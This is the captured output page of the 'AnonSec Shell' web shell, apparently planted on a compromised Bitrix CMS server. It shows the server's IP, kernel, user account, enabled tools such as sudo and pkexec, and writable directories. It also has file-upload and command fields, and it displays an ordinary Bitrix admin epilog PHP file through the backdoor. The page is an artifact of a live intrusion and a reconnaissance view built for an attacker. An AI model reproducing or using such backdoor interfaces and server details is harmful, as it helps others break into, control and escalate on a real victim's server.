AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.219.43.214
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/main/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/main/include/epilog_admin_before.php
<?
/**
 * Bitrix vars
 * @global CUser $USER
 * @global CMain $APPLICATION
 * @global CDatabase $DB
 * @global CUserTypeManager $USER_FIELD_MANAGER
 * @global CCacheManager $CACHE_MANAGER
 */

define("START_EXEC_EPILOG_BEFORE_1", microtime(true));
$GLOBALS["BX_STATE"] = "EB";

if($USER->IsAuthorized() && (!defined("BX_AUTH_FORM") || !BX_AUTH_FORM))
{
	$hkInstance = CHotKeys::getInstance();

	$Execs=$hkInstance->GetCodeByClassName("Global");
	echo $hkInstance->PrintJSExecs($Execs);
	echo $hkInstance->SetTitle("Global");

	$Execs=$hkInstance->GetCodeByUrl($_SERVER["REQUEST_URI"]);

	echo $hkInstance->PrintJSExecs($Execs);
	echo $hkInstance->PrintPhpToJSVars();

	if (!defined('BX_PUBLIC_MODE') || BX_PUBLIC_MODE != 1)
	{
		echo CAdminInformer::PrintHtml();
	}

	if(
		$USER->IsAuthorized()
		&& !\Bitrix\Main\ModuleManager::isModuleInstalled('bitrix24')
		&& (!defined('BX_PUBLIC_MODE') || BX_PUBLIC_MODE != 1)
		&& (
			!isset(\Bitrix\Main\Application::getInstance()->getSession()["SS_B24NET_STATE"])
			|| \Bitrix\Main\Application::getInstance()->getSession()["SS_B24NET_STATE"] !== $USER->GetID()
		)
		&& \Bitrix\Main\ModuleManager::isModuleInstalled("socialservices")
		&& \Bitrix\Main\Config\Option::get("socialservices", "bitrix24net_id", "") != ""
	)
	{
		if(
			\Bitrix\Main\Loader::includeModule("socialservices")
			&& class_exists("Bitrix\\Socialservices\\Network")
			&& method_exists("Bitrix\\Socialservices\\Network", "displayAdminPopup")
		)
		{
			\Bitrix\Socialservices\Network::displayAdminPopup(array(
				"SHOW" => true,
			));
		}
	}
}

if (!defined('BX_PUBLIC_MODE') || BX_PUBLIC_MODE != 1)
{
	if (!defined("BX_AUTH_FORM") || !BX_AUTH_FORM)
		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/interface/epilog_main_admin.php");
	else
		require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/interface/epilog_auth_admin.php");
}
else
	require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/interface/epilog_jspopup_admin.php");

?>

Anon7 - 2022
AnonSec Team